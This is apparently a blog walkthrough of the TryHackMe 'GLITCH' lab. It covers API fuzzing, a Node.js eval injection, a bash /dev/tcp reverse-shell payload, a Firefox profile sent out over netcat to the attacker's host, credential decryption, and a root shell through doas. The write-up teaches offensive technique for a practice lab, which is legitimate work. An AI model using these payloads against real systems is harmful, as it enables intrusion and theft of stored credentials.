GLITCH — TryHackMe Walkthrough
Web Exploitation, Credential Extraction & Privilege Escalation
Difficulty: Easy
Category: Web Exploitation / Privilege Escalation
Target:10.49.141.27
Introduction
GLITCH is a beginner-oriented room that focuses on exploiting a vulnerable web application and then performing privilege escalation to obtain root access.
The challenge involves several interesting concepts, including:
- Nmap enumeration
- Source-code analysis
- API endpoint discovery
- Base64 decoding
- Cookie manipulation
- HTTP method enumeration
- API parameter fuzzing
- Node.js server-side code execution
- Reverse shell
- Firefox credential extraction
- SUID enumeration
doasprivilege escalation
Although the room is officially rated Easy, personally I found it a little more challenging than the rating suggests. The individual vulnerabilities are not extremely complicated, but connecting the different stages together requires some enumeration and investigation.
So, let's get started.
1. Starting the Machine
After starting the victim machine, we are provided with the target IP:
10.49.141.27The first thing I always do is perform a basic Nmap scan to identify open ports and running services.
Nmap Scan
nmap -sC -sV -A 10.49.141.27The scan showed that port 80 was open and running a web service.
2. Exploring the Web Application
Since port 80 is open, I opened the target in a browser:
http://10.49.141.27/The page initially displayed an image.
At this point, there wasn't much visible functionality, so I decided to inspect the page source.
3. Finding the Hidden API Endpoint
I opened View Page Source and inspected the HTML and JavaScript references.
While analyzing the source code, I discovered an interesting endpoint:
/api/accessI accessed the endpoint directly:
http://10.49.141.27/api/accessThe server returned:
{"token":"dGhpc19pc19ub3RfcmVhbA=="}The returned value looked like Base64 encoding.
4. Decoding the Access Token
I decoded the token using CyberChef with the From Base64 operation.
The decoded value was:
this_is_not_realSo the access token is:
this_is_not_real5. Manipulating the Cookie
Next, I intercepted the application's request using Burp Suite.
I noticed that the request contained a cookie related to the token, but the token value was missing.
Since we had already discovered the token:
this_is_not_realI added this value to the cookie and forwarded the request.
The application responded with a different page.
Alternatively, the cookie can be modified directly through the browser:
Inspect → Application → Cookies
I changed the cookie value to:
this_is_not_realAfter refreshing the page, the application exposed additional functionality.
6. Discovering /api/items
I again inspected the page source and JavaScript files.
During enumeration, I found:
http://10.49.141.27/js/script.jsI analyzed the JavaScript file and discovered another API endpoint:
/api/itemsSo I accessed:
http://10.49.141.27/api/itemsHowever, the GET request did not immediately provide anything useful.
7. Investigating HTTP Methods
I captured the request in Burp Suite and sent it to Repeater.
The initial request was:
GET /api/items HTTP/1.1The server responded with:
304 Not ModifiedThis wasn't particularly useful, so I went back to the room hint:
What other methods does the API accept?
I changed the request method from:
GETto:
POSTThe server then returned:
HTTP/1.1 400 Bad RequestAlong with the following message:
{
"message": "there_is_a_glitch_in_the_matrix"
}This was an important clue.
8. Fuzzing the API Parameter
The response suggested that the API expected another parameter.
Get M Umer Saqib’s stories in your inbox
Join Medium for free to get updates from this writer.
I decided to fuzz the endpoint for possible parameter names.
For this, I used Gobuster with the SecLists API object wordlist:
gobuster fuzz -m POST -u 10.49.141.27/api/items?FUZZ=random \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt > test.txtAfter the scan completed, I filtered the results:
sort test.txt | uniq -uOne interesting parameter appeared:
cmdThe endpoint therefore became:
http://10.49.141.27/api/items?cmd=randomThe server returned a 500 Internal Server Error, which was interesting because it indicated that the parameter was actually being processed by the application.
cmd Parameter9. Discovering Server-Side eval()
I captured the request in Burp Suite and examined the server’s response more closely.
The API behavior revealed that the supplied cmd value was being processed as server-side code.
The important discovery was that the application was exposing a Node.js server-side eval()-style execution mechanism.
In other words, our input was reaching code execution on the server.
At this point, we had a path toward obtaining a shell.
10. Getting a Reverse Shell
For the lab environment, I used a Node.js command that invokes the system shell and connects back to my machine.
The payload was:
require(‘child_process’).exec(‘bash -c “bash -i >&/dev/tcp/192.168.141.1/4444 0>&1”’)
I URL-encoded the payload before sending it through the HTTP request.
Select a payload ctrl+u for URL-encoded
Before sending the request, I started a Netcat listener on my machine:
nc -lnvp 4444After sending the request, the target connected back to my listener.
We successfully obtained a shell.
11. Upgrading the Shell
The initial shell was not fully interactive, so I upgraded it using Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'This gave me a more usable interactive shell.
12. Finding the User Flag
After obtaining shell access, I explored the filesystem.
The user flag was located in the user’s home directory.
At this point, the web exploitation phase was complete, but we still needed to escalate our privileges to root.
13. Looking for Stored Credentials
While inspecting the user’s home directory, I ran:
ls -laOne directory immediately caught my attention:
.firefoxThe permissions were:
drwxrwxrwxFirefox profiles can potentially contain stored browser credentials, cookies, history, and other sensitive information.
This made the directory worth investigating.
.firefox Directory]14. Transferring the Firefox Profile
I needed to transfer the Firefox profile from the target machine to my own machine for analysis.
On the target machine, I created a tar stream and sent it through Netcat:
tar cf - .firefox/ | nc 192.168.141.1 5555On my machine, I started a listener:
nc -lvnp 5555 > firefox.tarThis transferred the Firefox profile to my machine.
15. Extracting Firefox Credentials
To investigate the Firefox profile, I used the open-source firefox_decrypt project.
After downloading the repository, I ran the tool against the extracted Firefox profile:
Download this repo from github:https://github.com/unode/firefox_decrypt
python3 /home/umer/firefox_decrypt/firefox_decrypt.py /home/umer/Desktop/medium/GLITCH/.firefoxThe tool successfully recovered stored credentials:
Website: https://glitch.thm
Username: 'v0id'
Password: 'love_the_void'We now had credentials for another user:
Username: v0id
Password: love_the_void16. Switching to the v0id User
I used the recovered credentials to switch to the v0id account.
With access to this account, I started looking for possible privilege-escalation paths.
17. Enumerating SUID Files
One of the standard privilege-escalation checks is searching for binaries with the SUID permission.
I ran:
find / -perm -u=s -type f 2>/dev/nullThis searches the filesystem for executable files with the SUID bit enabled.
Among the results, one binary immediately stood out:
/usr/local/bin/doasdoas is a utility that can be used to execute commands as another user, similar in purpose to sudo.
The important part was that this installation allowed us to execute a command as root.
18. Privilege Escalation with doas
I tested:
/usr/local/bin/doas -u root bashThe system requested a password.
I supplied the password previously recovered for the v0id account:
love_the_voidThe command successfully started a root shell.
We had successfully escalated from the web application → initial shell → v0id → root.
19. Retrieving the Root Flag
Finally, I navigated to the root user’s home directory:
cd /rootThe root flag was located there.
And that’s it — the GLITCH machine was fully compromised.









